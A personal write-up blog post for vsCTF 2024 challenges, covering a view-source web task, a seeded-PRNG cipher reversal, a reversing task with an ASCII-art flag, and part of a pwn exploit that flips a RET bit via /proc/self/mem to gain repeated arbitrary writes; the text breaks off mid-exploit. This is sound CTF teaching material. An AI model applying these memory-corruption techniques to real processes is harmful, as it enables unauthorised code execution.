My Writeups for vsCTF 2024
Prelude
Hi everyone! I’m writing these writeups as I’m participating in vsCTF2024, which is really cool so far! I haven’t solved all the challenges, but here are my writeups for the ones I solved.
Sanity Check (Web)
We get a static page: Well, the name of the CTF is viewsource, so the solution is pretty obvious… F12, ctrl+shift+I, right click, etc. (ways to view source) are all blocked by client-side code, so instead we just curl the page:
1
curl sanity-check.vsc.tf
Not Quite Caesar (Crypto)
We are provided two files: nqc.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import random
random.seed(1337)
ops = [
lambda x: x+3,
lambda x: x-3,
lambda x: x*3,
lambda x: x^3,
]
flag = list(open("flag.txt", "rb").read())
out = []
for v in flag:
out.append(random.choice(ops)(v))
print(out)
out.txt:
1
[354, 112, 297, 119, 306, 369, 111, 108, 333, 110, 112, 92, 111, 315, 104, 102, 285, 102, 303, 100, 112, 94, 111, 285, 97, 351, 113, 98, 108, 118, 109, 119, 98, 94, 51, 56, 159, 50, 53, 153, 100, 144, 98, 51, 53, 303, 99, 52, 49, 128]
We presume out.txt to be the output of nqc.py. Let’s go through the script:
- It seeds the PRNG with a constant seed: 1337. This will make the PRNG always output the same sequence of pseudorandom numbers
- Defines an array
ops
of lambdas. Each lambda performs a mathematical operation on its input - Opens the file
flag.txt
for reading, and puts the ASCII codes of the characters in the variableflag
- For each character of the flag, it chooses a random lambda from
ops
using the PRNG seeded earlier, runs it on the current character of the flag, and appends it toout
- Prints
out
We need to somehow get the flag from the providedout.txt
. Since the PRNG outputs the same sequence of numbers every time, all we have to do is run the same script, but replace each of the lambdas with its inverse. This will convert each of the characters back to its original characters. solver.py:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import random
random.seed(1337) # Seed the PRNG with the same seed used to encrypt
# Inverse of the lambdas
ops = [
lambda x: x-3, # (x+3)-3 = x
lambda x: x+3, # (x-3)+3 = x
lambda x: x/3, # (3*x) / 3 = x
lambda x: x ^ 3, # (x^3)^3 = x - XOR is its own inverse
]
ciphertext = [354, 112, 297, 119, 306, 369, 111, 108, 333, 110, 112, 92, 111, 315, 104, 102, 285, 102, 303, 100, 112, 94, 111, 285, 97, 351, 113, 98, 108, 118, 109, 119, 98, 94, 51, 56, 159, 50, 53, 153, 100, 144, 98, 51, 53, 303, 99, 52, 49, 128]
flag = ""
for v in ciphertext:
flag += chr(int(random.choice(ops)(v))) # Pick the same operation the encryptor picks
print("FLAG: {}".format(flag))
The output is the flag:
1
FLAG: vsctf{looks_like_ceasar_but_isnt_a655563a0a62ef74}
Intro Reversing (Reversing)\
This was a pretty funny challenge for me, because 80% of my time was spent on trying to read the flag, and not solving the challenge. You’ll see later ;) We get a binary chall
. The decompiled main function is shown here:
1
2
3
4
5
6
7
8
9
10
undefined8 main(void)
{
int i;
for (i = 0; i < 0x8ae; i = i + 0xca) {
printf("%.*s\n",202,flag + i);
sleep(0xb1aaf);
}
return 0;
}
flag
is a 2223-byte long constant defined in the data section. All this function does print some part of the flag with padding (the %.*s
format string means “pad the output until it is 202 bytes long”, you can read more about it here), sleep for a really long time, and continue. My solution was to just copy the code to a new C program, remove the sleep, and run it: solver.c:
1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
int main() {
char flag[] = { 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x2f, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x2f, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x5c, 0x20, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x2f, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x2f, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x5c, 0x20, 0x20, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x7c, 0x20, 0x24, 0x24, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x2f, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x2f, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x2f, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x20, 0x20, 0x24, 0x24, 0x7c, 0x5f, 0x5f, 0x2f, 0x7c, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x2f, 0x24, 0x24, 0x20, 0x20, 0x5c, 0x20, 0x24, 0x24, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7c, 0x20, 0x20, 0x24, 0x24, 0x24, 0x24, 0x24, 0x24, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5c, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x5f, 0x2f, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x00 };
int i;
for (i = 0; i < 0x8ae; i = i + 0xca) {
printf("%.*s\n",202,flag + i);
sleep(0);
}
return 0;
}
I ran the script, and got the following output:
It kinda looks like characters, but it’s pretty unreadable. I was sure that I missed something, but after a lot of trail and error I found the problem: I work with my terminal zoomed in, because otherwise its hard to read for me. After zooming out the same output, we see: This looks much more like the flag. Once again I spent a lot more time on this than I should have (at first I missed the “r”, then got confused between the “5” and the “S”, and finally after 30min I realized that I missed the “!” at the end…). The flag is:
1
vsctf{1nTr0_r3v3R51ng!}
I learned from this challenge that I probably need to get my eyesight checked…
Cosmic Ray v3 (pwn)
This was a really fun and cool challenge. The premise is that we need to get a shell with one bit flip in the program’s memory. Here’s the (decompiled) code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
undefined8 main(void)
{
/* Flush the stdout and stdin */
setbuf(stdout,(char *)0x0);
setbuf(stderr,(char *)0x0);
cosmic_ray();
/* Exit syscall */
syscall();
return 0;
}
void cosmic_ray(void)
{
__off_t addr;
char local_26;
char contents;
int bit_pos;
undefined8 local_20;
long contents_bin;
int mem_fp;
int i;
puts("Enter an address to send a cosmic ray through :");
__isoc99_scanf("0x%lx",&addr);
getchar();
putchar(10);
mem_fp = open("/proc/self/mem",2);
lseek(mem_fp,addr,0);
read(mem_fp,&contents,1);
contents_bin = byte_to_binary((int)contents);
puts("|0|1|2|3|4|5|6|7|");
puts("-----------------");
putchar(0x7c);
for (i = 0; i < 8; i = i + 1) {
printf("%d|",(ulong)(uint)(int)*(char *)(contents_bin + i));
}
putchar(10);
putchar(10);
puts("Enter the bit position to flip:");
__isoc99_scanf(&DAT_00402098,&bit_pos);
getchar();
if ((-1 < bit_pos) && (bit_pos < 8)) {
local_20 = flip_bit(contents_bin,bit_pos);
local_26 = binary_to_byte(local_20);
putchar(10);
printf("Bit succesfully flipped! New value is %d\n\n", (ulong)(uint)(int)local_26);
lseek(mem_fp,addr,0);
write(mem_fp,&local_26,1);
/* Maybe flip this to do nothing?? */
return;
}
/* WARNING: Subroutine does not return */
exit(1);
}
A test run:
It first asks us for an address, leaks the current byte in that address, then asks us for a bit position to flip, and flips the bit. The problem is that this function is only called one time, so the first thing I wanted to do is figure out how to call the function as many times as I want. After looking through the disassembly, I saw that the code for main is stored right after the code for cosmic_ray
(the function that does the bit flipping): all that separates them is a ret
:
What if we could somehow change the RET
instruction to do nothing? After some trial and error, I found that if we flip the 3rd position of the RET
, it becomes a shl %cx, %ebx
, which doesn’t affect the execution flow:
Sweet! Now we can call cosmic_ray
as many times as we want, because after leaving cosmic_ray
, we’ll execute main
again, which executes cosmic_ray
: We have a WWW (write-what-where, arbitrary write) now, and the road to getting a shell is short. To make our lives easier, let’s write a short function that automates all this:
1
2
3
4
5
6
7
8
9
10
11
12
13
p = process("./cosmicrayv3")
RET_ADDR = 0x00000000004015aa # ret at the end of cosmic_ray
def flip_bit(addr, bit):
p.sendlineafter(b"Enter an address to send a cosmic ray through:\n", f"{addr}")
p.sendlineafter(b"Enter the bit position to flip:\n", f"{bit}")
def infinite_loop():
# ret at the end of the cosmic_ray function
flip_bit(hex(RET_ADDR), 3)
infinite_loop()
Now, let’s write a function that writes bytes to memory instead of bits. The idea is that we first get a memory leak of what’s currently in the address, then we check which positions we need to flip by comparing the bits of the desired byte to write, and the bits we get in the memory leak:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
